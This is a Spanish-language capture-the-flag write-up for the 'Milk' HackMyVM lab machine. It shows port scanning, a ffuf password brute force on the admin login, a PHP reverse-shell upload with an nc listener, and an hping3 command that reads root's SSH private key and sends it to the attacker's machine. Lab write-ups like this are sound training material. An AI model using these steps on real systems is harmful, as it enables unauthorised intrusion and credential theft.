Milk - Hackmyvm

0xH3rshel · January 1, 2023

Autor: Sml
Dificultad: Medio

img

Reconocimiento

Comienzo con una enumeración de puertos usando nmap.

$ sudo nmap -p- 192.168.1.177      
[sudo] contraseña para user: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-01 22:03 UTC
Nmap scan report for 192.168.1.177
Host is up (0.000083s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:BA:69:3A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

80 (http)

Continuo con la enumeración utilizando nikto sobre la página web en el puerto 80 y encuentro un login de administrador.

nikto --host http://192.168.1.177
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.177
+ Target Hostname:    192.168.1.177
+ Target Port:        80
+ Start Time:         2023-01-01 22:04:29 (GMT0)
---------------------------------------------------------------------------
[...]
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.

Realizo un ataque de fuerza bruta usando ffuf con el usuario admin y consigo su contraseña.

$ cat req.txt
POST /admin/index.php HTTP/1.1
Host: 192.168.1.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.1.177
Connection: close
Referer: http://192.168.1.177/admin/index.php
Cookie: PHPSESSID=ooukt4rsu900cuojv7uf3avl4n
Upgrade-Insecure-Requests: 1

username=admin&password=FUZZ&login=
$ ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -request req.txt -debug-log test -u "http://192.168.1.177/admin/index.php" -fs 854     
[...]
admin                   [Status: 200, Size: 873, Words: 3, Lines: 5, Duration: 29ms]

Explotación

Una vez logeado, para conseguir una reverse shell hay que realizar lo siguiente:

  • Añadir una marca de coche nueva.
  • Añadir un coche nuevo con datos arbitrarios.
  • En las imágenes del coche, subir una reverse shell en php.

img

Una vez guardado el coche nuevo, navego a la página principal y obtengo la conexión.

$ nc -lvnp 1234                    
Connection from 192.168.1.177:39182
whoami
www-data

Escalado de privilegios

Una vez dentro del servidor, ejecuto linpeas.sh para enumerar posibles métodos de escalado de privilegios y encuentro que hping3 tiene la capabilitie “cap_dac_override” la cual nos permite leer archivos en todo el sistema.

/usr/sbin/hping3 = cap_dac_override,cap_net_raw+ep 

Utilizo hping3 para leer la clave privada del usuario root y enviarla a mi máquina.

hping3 -c 1 --file /root/.ssh/id_rsa 192.168.1.79 -d 5000
HPING 192.168.1.79 (enp0s3 192.168.1.79): NO FLAGS are set, 40 headers + 5000 data bytes
len=46 ip=192.168.1.79 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=8.6 ms

Con Wireshark escuchando, obtengo el paquete con la clave privada.

img

Ahora solo queda guardarla y conectarse mediante ssh.

ssh root@192.168.1.177 -i id_rsa
[...]
Last login: Fri Feb 19 07:47:41 2021
root@milk:~#  :)

Muchas gracias a Sml por esta máquina.

Twitter, Facebook